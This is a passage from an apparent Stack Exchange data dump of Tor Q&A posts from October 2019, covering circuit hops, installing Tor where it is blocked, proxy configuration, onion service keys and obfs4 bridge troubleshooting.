users to access Cloudflare's services.  Thus, if you make a connection to a Cloudflare-using site using Tor, the circuit information will only show one hop between the rendezvous and Cloudflare.  This is a special setting you can enable in the onion service configuration, if you (as the service provider) don't need anonymity.&lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-10-13T21:25:26.063" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20424" PostTypeId="2" ParentId="20420" CreationDate="2019-10-13T21:28:59.720" Score="0" Body="&lt;p&gt;The set of guard nodes and, more importantly, the set of &lt;em&gt;exit&lt;/em&gt; nodes, is a relatively small proportion of the total nodes in the Tor network.  If there were no middle nodes, then the chances are much higher that you might end up using nodes controlled (or controllable) by an adversary.  &lt;/p&gt;&#xA;" OwnerUserId="27799" LastActivityDate="2019-10-13T21:28:59.720" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20425" PostTypeId="2" ParentId="20420" CreationDate="2019-10-13T21:42:03.473" Score="1" Body="&lt;p&gt;Your guard node and especially your exit node have a lot of power. The guard node knows who you are, or at least some basic information about you such as your IP. The exit node sees all your DNS queries, where your traffic is going, and can monitor all unencrypted traffic. Because of this, it's important there's an attempt to separate the guard node from the exit node as to prevent different attacks on the network. That's the point of the relay node, to prevent the guard node from knowing who your exit node is and vice versa. This would make it less likely for an adversary to properly correlate traffic as it would simply be up to chance if they manage to get someone using both their guard and exit nodes. Again, while this doesn't guarantee the network protection from attacks such as correlation or DDoS attacks, it does make it more difficult for the attacker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason Tor doesn't have more than three nodes is primarily because of speed and resources. Three nodes would be the minimum amount of hops required for a no-knowledge connection. Even then, resources and speed aside, there is a point where using more relay nodes would be less and less effective, almost to the point of being useless. Then once you account for speed and resources, you quickly realize that simply adding more and more relay nodes isn't worth the reduction to speed and the resources required.&lt;/p&gt;&#xA;" OwnerUserId="27892" LastActivityDate="2019-10-13T21:42:03.473" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20426" PostTypeId="2" ParentId="20402" CreationDate="2019-10-13T21:46:34.243" Score="0" Body="&lt;p&gt;The exit node sees which relay node said traffic is coming from, but it doesn't know the guard node or end-user's identity. The relay node sees both the guard and relay node, but doesn't see the end-user or the destination of the traffic. The guard nodes sees the end-user and the relay node but doesn't know the exit node or the destination of the traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially by limiting who knows what, we're able to create a connection in which no one has enough information to properly identify or attack a specific user. Surely there are different ideas as to how Tor can be attacked, and some of these attacks can work quite well. But generally speaking, if a user is using Tor properly with good OpSec practices, they're probably going to be &quot;safe enough&quot;.&lt;/p&gt;&#xA;" OwnerUserId="27892" LastActivityDate="2019-10-13T21:46:34.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20429" PostTypeId="1" AcceptedAnswerId="20437" CreationDate="2019-10-14T13:06:14.483" Score="1" ViewCount="1323" Body="&lt;p&gt;I'm trying to install tor in a country (UAE) where it's blocked. I get an error presumably because it's blocked here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;:: Checking for conflicts...&#xA;:: Checking for inner conflicts...&#xA;[Aur: 1]  tor-browser-8.5.5-1&#xA;&#xA;  1 tor-browser                              (Build Files Exist)&#xA;==&amp;gt; Packages to cleanBuild?&#xA;==&amp;gt; [N]one [A]ll [Ab]ort [I]nstalled [No]tInstalled or (1 2 3, 1-3, ^4)&#xA;==&amp;gt; &#xA;:: PKGBUILD up to date, Skipping (1/1): tor-browser&#xA;  1 tor-browser                              (Build Files Exist)&#xA;==&amp;gt; Diffs to show?&#xA;==&amp;gt; [N]one [A]ll [Ab]ort [I]nstalled [No]tInstalled or (1 2 3, 1-3, ^4)&#xA;==&amp;gt; &#xA;:: Parsing SRCINFO (1/1): tor-browser&#xA;==&amp;gt; Making package: tor-browser 8.5.5-1 (Mon Oct 14 17:01:56 2019)&#xA;==&amp;gt; Retrieving sources...&#xA;  -&amp;gt; Found tor-browser.desktop&#xA;  -&amp;gt; Found tor-browser.png&#xA;  -&amp;gt; Found tor-browser.sh&#xA;  -&amp;gt; Downloading tor-browser-linux64-8.5.5_en-US.tar.xz...&#xA;  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current&#xA;                                 Dload  Upload   Total   Spent    Left  Speed&#xA;  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0&#xA;curl: (35) OpenSSL SSL_connect: SSL_ERROR_SYSCALL in connection to dist.torproject.org:443 &#xA;==&amp;gt; ERROR: Failure while downloading https://dist.torproject.org/torbrowser/8.5.5/tor-browser-linux64-8.5.5_en-US.tar.xz&#xA;    Aborting...&#xA;Error downloading sources: tor-browser&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Someone have any ideas?&lt;/p&gt;&#xA;" OwnerUserId="27915" LastActivityDate="2022-07-07T17:44:58.393" Title="How do I install tor on arch in a country where tor is blocked?" Tags="|blocked-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20430" PostTypeId="1" CreationDate="2019-10-14T16:12:56.270" Score="1" ViewCount="1580" Body="&lt;p&gt;I'm failing to make every command in terminal (and ideally every MacOS app) to connect via TOR network by default in MacOS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple test works when I expicitly request to use TOR proxy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl --socks5 localhost:9050 --socks5-hostname localhost:9050 -s https://check.torproject.org/ | cat | grep -m 1 Congratulations | xargs&#xA;Congratulations. This browser is configured to use Tor.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...but fails if I don't specify any proxy at all:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ curl -s https://check.torproject.org/ | cat | grep -m 1 Sorry | xargs&#xA;Sorry. You are not using Tor.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using VPN set in MacOS System Preferences; I'm on High Sierra 10.13.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I've tried to make it work:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;manually adding &lt;code&gt;Advanced &amp;gt; Socks &amp;gt; Proxies &amp;gt; SOCKS &amp;gt; localhost:9050&lt;/code&gt; to VPN and/or current Internet service (Wi-Fi) for &lt;em&gt;current&lt;/em&gt; Network Location&lt;/li&gt;&#xA;&lt;li&gt;manually creating a full clone of current Network Location and setting it up the same way&lt;/li&gt;&#xA;&lt;li&gt;running &lt;code&gt;. torsocks on&lt;/code&gt; in the Terminal window where I later run &lt;code&gt;curl&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;running &lt;code&gt;tor&lt;/code&gt; per se in a separate Terminal window; running &lt;code&gt;brew services start tor&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Using a &lt;a href=&quot;https://kremalicious.com/simple-tor-setup-on-mac-os-x&quot; rel=&quot;nofollow noreferrer&quot;&gt;script suggested at kremalicious&lt;/a&gt; results in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ INTERFACE=Automatic&#xA;$ sudo networksetup -setsocksfirewallproxy $INTERFACE 127.0.0.1 9050 off&#xA;Password:&#xA;** Error: The parameters were not valid.&#xA;&#xA;$ sudo networksetup -setsocksfirewallproxystate $INTERFACE on&#xA;** Error: Unable to find item in network database.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;torify&lt;/code&gt; results in error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(torify curl -s https://check.torproject.org) | grep Congratulations&#xA;ERROR: /usr/bin/curl is located in a directory protected by Apple's System Integrity Protection.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27917" LastEditorUserId="27917" LastEditDate="2019-10-19T22:22:05.450" LastActivityDate="2022-03-08T04:07:50.740" Title="Failing to set up TOR for command-line use on Mac" Tags="|mac|proxy|settings|terminal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20431" PostTypeId="1" AcceptedAnswerId="20433" CreationDate="2019-10-14T16:25:11.143" Score="0" ViewCount="203" Body="&lt;p&gt;If I delete every key from my &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/srv/www/html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;directory and then add my own shalot generated private to the same directory, upon tor start, it adds it's own keys to the directory, and then hijacks the hostname file with it's own .onion url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attempts to add my own hostname file and set immutable bit, only makes it so tor won't start.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cat /etc/nginx/sites-available/hidden_service&#xA;&#xA;server {&#xA;        listen 80;&#xA;        listen [::]:80;&#xA;        server_name lqpoku4u5v5law5d.onion;&#xA;        root /srv/www/html/;&#xA;        index index.html index.php;&#xA;        access_log /var/log/nginx/access.log;&#xA;        error_log /var/log/nginx/error.log;&#xA;        charset     utf-8;&#xA;&#xA;&#xA;        #location / {&#xA;        #        try_files $uri $uri/ @uwsgi;&#xA;        #}&#xA;&#xA;        location ~ \.php$ {&#xA;                include snippets/fastcgi-php.conf;&#xA;                fastcgi_pass unix:/var/run/php/php7.0-fpm.sock;&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;dir and permissions before tor start:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/srv/www/html# ls -l&#xA;total 16&#xA;drwx------ 2 www-data www-data 4096 Oct 13 23:08 authorized_clients&#xA;-rwx------ 1 www-data www-data   63 Oct 14 00:23 hostname.old&#xA;-rwx------ 1 www-data www-data   88 Oct 13 14:58 index.html&#xA;-rwx------ 1 www-data www-data  887 Oct 14 16:26 private_key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;dir and permissions following tor start:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/srv/www/html# ls -l&#xA;total 28&#xA;drwx------ 2 www-data www-data 4096 Oct 13 23:08 authorized_clients&#xA;-rw------- 1 www-data www-data   63 Oct 14 17:20 hostname&#xA;-rwx------ 1 www-data www-data   63 Oct 14 00:23 hostname.old&#xA;-rw------- 1 www-data www-data   64 Oct 14 17:20 hs_ed25519_public_key&#xA;-rw------- 1 www-data www-data   96 Oct 14 17:20 hs_ed25519_secret_key&#xA;-rwx------ 1 www-data www-data   88 Oct 13 14:58 index.html&#xA;-rwx------ 1 www-data www-data  887 Oct 14 16:26 private_key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;torrc edits:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HiddenServiceDir /srv/www/html/&#xA;HiddenServiceVersion 3&#xA;HiddenServicePort 80 127.0.0.1:80&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I add my own .onion address so that tor doesn't hijack my hostname file?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My key is known good and did work before.&lt;/p&gt;&#xA;" OwnerUserId="27884" LastActivityDate="2019-10-14T18:57:50.773" Title="tor adds its own private_key for hidden_service, hijacking my custom .onion" Tags="|configuration|onion-services|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20432" PostTypeId="1" CreationDate="2019-10-14T18:46:43.130" Score="2" ViewCount="286" Body="&lt;p&gt;If I host a hidden service without HTTPS, can a compromised exit node (on either server side or client side), read or write any contents of the site?&lt;br&gt;&#xA;Also, is it more secure to use HTTPS on a hidden service than pure-HTTP?&lt;/p&gt;&#xA;" OwnerDisplayName="user27919" LastActivityDate="2019-11-13T22:07:55.960" Title="Are contents of a hidden service secure if the service is HTTP?" Tags="|onion-services|exit-relays|https|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20433" PostTypeId="2" ParentId="20431" CreationDate="2019-10-14T18:57:50.773" Score="1" Body="&lt;p&gt;As far as I remember &lt;code&gt;shallot&lt;/code&gt; is used to generate custom keys and service names for version 2 of hidden services and you are requesting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceVersion 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remove the above mentioned line and it should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For version 3 name generation you can use &lt;code&gt;mkp224o&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20437" LastActivityDate="2019-10-14T18:57:50.773" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20434" PostTypeId="1" AcceptedAnswerId="20436" CreationDate="2019-10-14T21:02:09.883" Score="1" ViewCount="226" Body="&lt;p&gt;I'm studying Tor for educational purposes and I haven't been able to find many resources about attacks on Tor (even the once that have been patched). Most of the articles are too general or don't explain the attack in detail. I've even found this &lt;a href=&quot;https://github.com/Attacks-on-Tor/Attacks-on-Tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Thirteen years of Tor attacks&lt;/a&gt;, but it's almost unreadable. Can you share some of the links of the attacks that you think are interesting? Thank you&lt;/p&gt;&#xA;" OwnerUserId="27910" LastActivityDate="2019-10-14T21:27:05.067" Title="List of attacks on Tor" Tags="|attacks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20435" PostTypeId="2" ParentId="20432" CreationDate="2019-10-14T21:11:37.960" Score="2" Body="&lt;p&gt;I'll tackle the easy question first:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;is it more secure to use HTTPS on a hidden service than pure-HTTP?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;https provides one thing for onion services that http does not. It provides proof that the service is legitimate and not fake. You can tell this by the fact that you get the green lock when you go to an onion service with an legit https certificate. facebook's onion service is the prime example for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, for the more difficult part.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's look first at the &lt;a href=&quot;https://2019.www.torproject.org/docs/onion-services.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;simple explanation&lt;/a&gt; provided by the Tor Project.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Exit nodes do not connect to onion services. That connection is handled by relays which are middle or guard nodes. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Tor circuit between the nodes and the onion service is always encrypted. This provides a secure way to visit an http site because Tor provides the encryption that https would provide on the normal internet. It also means that you can run other non-secure services like telnet over Tor without worry because Tor provides encryption that would normally not be there.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Let's say that I am running a middle node and I find a way to harvest onion services that connect through my node. Could I then read that onion service or scrape it for information? Sure. If you put up a password interface would I then be able to bypass that and see everything anyway, no. I would have the same ability as any other user.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope this makes sense. If you need more in depth explanations. Read the &lt;a href=&quot;https://2019.www.torproject.org/docs/documentation.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; on the Tor Website on &lt;a href=&quot;https://svn.torproject.org/svn/projects/design-paper/tor-design.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;how Tor works&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-10-14T21:11:37.960" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20436" PostTypeId="2" ParentId="20434" CreationDate="2019-10-14T21:27:05.067" Score="2" Body="&lt;p&gt;I don't think anyone will do your research for you but here are some links with a lot of good information.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.syverson.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Paul Syverson&lt;/a&gt;'s home page&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.freehaven.net/~arma/cv.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Roger Dingledine&lt;/a&gt;'s home page&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://people.torproject.org/~karsten/tor-design-2012-11-14.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;2012 Tor Specification&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.freehaven.net/anonbib/topic.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Selected Papers in Anonymity&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-10-14T21:27:05.067" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20437" PostTypeId="2" ParentId="20429" CreationDate="2019-10-14T21:37:05.777" Score="1" Body="&lt;p&gt;Forget using AUR for this because AUR will only download from one specific place unless you recode it to pull from another location yourself. Download Tor Browser from another source.  I am going to copy and paste the entire page from the Tor Project since you probably can't read it yourself from UAE&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The safest and simplest way to download Tor Browser is&#xA;  from the official Tor Project website at&#xA;  &lt;a href=&quot;https://www.torproject.org/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/download&lt;/a&gt;. Your connection to the site will&#xA;  be secured using HTTPS, which makes it much harder for somebody to&#xA;  tamper with.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;However, there may be times when you cannot access the Tor Project&#xA;  website: for example, it could be blocked on your network. If this&#xA;  happens, you can use one of the alternative download methods listed&#xA;  below.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;MIRRORS If you're unable to download Tor Browser from the official Tor&#xA;  Project website, you can instead try downloading it from one of our&#xA;  official mirrors, either through &lt;a href=&quot;https://tor.eff.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;EFF&lt;/a&gt; or &lt;a href=&quot;https://tor.calyxinstitute.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Calyx Institute&lt;/a&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;GETTOR GetTor is a service that automatically responds to messages&#xA;  with links to the latest version of Tor Browser, hosted at a variety&#xA;  of locations, such as Dropbox, Google Drive and GitHub.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;TO USE GETTOR VIA EMAIL: Send an email to gettor@torproject.org, and&#xA;  in the body of the message simply write “windows”, “osx”, or “linux”,&#xA;  (without quotation marks) depending on your operating system.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;GetTor will respond with an email containing links from which you can&#xA;  download the Tor Browser package, the cryptographic signature (needed&#xA;  for verifying the download), the fingerprint of the key used to make&#xA;  the signature, and the package’s checksum. You may be offered a choice&#xA;  of “32-bit” or “64-bit” software: this depends on the model of the&#xA;  computer you are using.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-10-14T21:37:05.777" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20438" PostTypeId="1" CreationDate="2019-10-14T22:34:10.157" Score="0" ViewCount="181" Body="&lt;p&gt;Can you give name of free firewall and free antivirus, preferably with open source code that does not keep logs and information  that can deanonymize the user (for example, any entries (notes, logs) about the ip-addresses of connections to the node, data packets, or any keys, etc.), or another, that can deanonymize users of my entry or relay node of tor if somebody will get physical access to my computer? This question for ensuring safety users who will transmit traffic through my entry or relay node.&lt;/p&gt;&#xA;" OwnerUserId="27863" LastActivityDate="2022-02-08T18:05:50.767" Title="Can you give name of free firewall and free antivirus that does not keep logs (for tor node)?" Tags="|firewall|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20439" PostTypeId="2" ParentId="20430" CreationDate="2019-10-14T22:38:53.893" Score="0" Body="&lt;p&gt;Since you didn't mention it, I will suggest you edit your &lt;code&gt;torrc&lt;/code&gt; configuration file. &#xA;Ideally, you should have a line which looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9050&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27900" LastActivityDate="2019-10-14T22:38:53.893" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20440" PostTypeId="2" ParentId="20438" CreationDate="2019-10-15T06:20:54.423" Score="0" Body="&lt;p&gt;If you are using Linux, then the firewall that comes with your distribution. As for antivirus, you don't usually need one for Linux because it's not usually required but you can install &lt;a href=&quot;https://www.clamav.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ClamAV&lt;/a&gt; if you really want to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you really need to know is &lt;strong&gt;how to disable logging in each program or for the system as a whole&lt;/strong&gt;. Since you provided no information on what kind of system that you will be using, just take that as a general guideline of what you need to research.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-10-15T06:20:54.423" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20441" PostTypeId="1" AcceptedAnswerId="20444" CreationDate="2019-10-15T12:10:41.433" Score="1" ViewCount="226" Body="&lt;p&gt;So, I've recently, for the sake of experiment, done something that isn't recommended: I've configured Firefox to use the TOR Socks listener as a proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I expected, the regular sites, such as Bing (my homepage) opened. After opening check.torproject.org, I tried something which I was nearly certain would fail (but I wanted to see what error message I'd get): I opened the URL of a ONION service, namely, facebookcorewwwi.onion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expected that Firefox, being an ordinary browser, would make the DNS request (over the TOR SOCKS proxy) attempting to resolve the IP of facebookcorewwwi.onion, and, since .onion services don't have an actual IP address, fail with some error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got very surprised when it actually opened the URL. Furthermore, it claimed that the IP of facebookcorewwwi.onion is 0.0.0.0:443. Can you explain to me what's going on here?&lt;/p&gt;&#xA;" OwnerUserId="27924" LastActivityDate="2019-10-15T15:50:08.400" Title="How come is Firefox over TOR capable of reaching TOR services?" Tags="|firefox|browsers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20444" PostTypeId="2" ParentId="20441" CreationDate="2019-10-15T15:50:08.400" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I expected that Firefox, being an ordinary browser, would make the DNS&#xA;  request (over the TOR SOCKS proxy) attempting to resolve the IP of&#xA;  facebookcorewwwi.onion, and, since .onion services don't have an&#xA;  actual IP address, fail with some error message.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The Tor service that is on your machine is fundamentally just a system service that connects to the Tor network. The Tor Browser or Firefox are just clients that use that service. You can also use any number of internet applications that can take advantage of a socks5 proxy to use Tor.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I got very surprised when it actually opened the URL. Furthermore, it&#xA;  claimed that the IP of facebookcorewwwi.onion is 0.0.0.0:443. Can you&#xA;  explain to me what's going on here?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The socks proxy is doing it's job. It is allowing you to connect to the Tor network. No one is allowed to see the real IP of an onion service. People who create onion services have anonymity too. That's why you don't see an IP address.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-10-15T15:50:08.400" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20447" PostTypeId="1" CreationDate="2019-10-16T08:30:13.433" Score="2" ViewCount="335" Body="&lt;p&gt;Lately I have been trying to set up an obfs4 bridge on my RaspberryPi 3 (running Raspbian 9 (stretch) ) following the &lt;a href=&quot;https://community.torproject.org/relay/setup/bridge/debian-ubuntu/&quot; rel=&quot;nofollow noreferrer&quot;&gt;official guide&lt;/a&gt;.&lt;br&gt;&#xA;After setting up the torrc file to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;OrPort [PORT1]&#xA;SeverTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;ServerTransportAddr obfs4 0.0.0.0:[PORT2]&#xA;ExtORPort auto&#xA;ContactInfo [EMAIL]&#xA;Nickname [NAME]&#xA;ExitRelay 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and changing &lt;code&gt;NoNewPrivileges=no&lt;/code&gt; in &lt;code&gt;/lib/systemd/system/tor@default.service&lt;/code&gt; and &lt;code&gt;/lib/systemd/system/tor@.service&lt;/code&gt; prior to restarting the daemon and tor, as well as setting up the portforwarding for both ports in the router, the ORPort gets set up properly (is reachable using the &lt;a href=&quot;https://bridges.torproject.org/scan/&quot; rel=&quot;nofollow noreferrer&quot;&gt;official tool&lt;/a&gt;).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But&lt;/strong&gt; every attempt trying to connect to the obfs4 port fails with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dial tcp [IP]:[Port2]: connect: connection refused&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now looking at the log files &lt;code&gt;/etc/log/tor/log&lt;/code&gt;, there is one warning about the obfs4proxy:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[warn] Could not launch managed proxy executable at '/usr/bin/obfs4proxy' ('No such file or directory')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, that the obfs4proxy file actually exists in the directory and trying to start it manually fails with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[ERROR]: obfs4proxy - must be run as a managed transport&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what I might be doing wrong? Any suggestions on how I can get the bridge up and running?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tor-version: 0.2.9.16-1 stable&lt;br&gt;&#xA;obfs4proxy-version: 0.0.7-1 stable&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-10-23T16:40:15.670" LastActivityDate="2019-10-23T16:40:15.670" Title="Could not launch managed proxy executable at '/usr/bin/obfs4proxy' ('No such file or directory')" Tags="|bridge|debian|raspberry-pi|obfs4|obfs4proxy|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20448" PostTypeId="1" CreationDate="2019-10-16T11:05:09.040" Score="0" ViewCount="33" Body="&lt;p&gt;For some reasons, I am  When I open  &lt;a href=&quot;https://www.saama.com/blog/applications-signal-processing-machine-learning/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blog&lt;/a&gt; under &lt;a href=&quot;https://www.saama.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.saama.com&lt;/a&gt;, I get a runtime error page like this in Firefox without using proxy :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3T0Ka.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3T0Ka.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is error most be solved by using a Hoxx VPN and RusVPN chrome extensions together like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hxnaB.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hxnaB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how this site could detect my  IP (both of them are the same)  and these IPs are not &lt;a href=&quot;https://www.whatismyip.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;my real IP&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Tz5Cn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tz5Cn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and what is proxy filed in this  &lt;a href=&quot;https://www.iplocation.net/find-ip-address&quot; rel=&quot;nofollow noreferrer&quot;&gt;IP finder site information&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3VqR5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3VqR5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;why the proxy field is different in chrome with VPN and Firefox without VPN  and I can not access the site information as you can see here :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Proxy   5.78.57.183, 149.126.78.20&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the banned site said:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Your IP5.78.57.183|Proxy IP45.60.54.103(ID 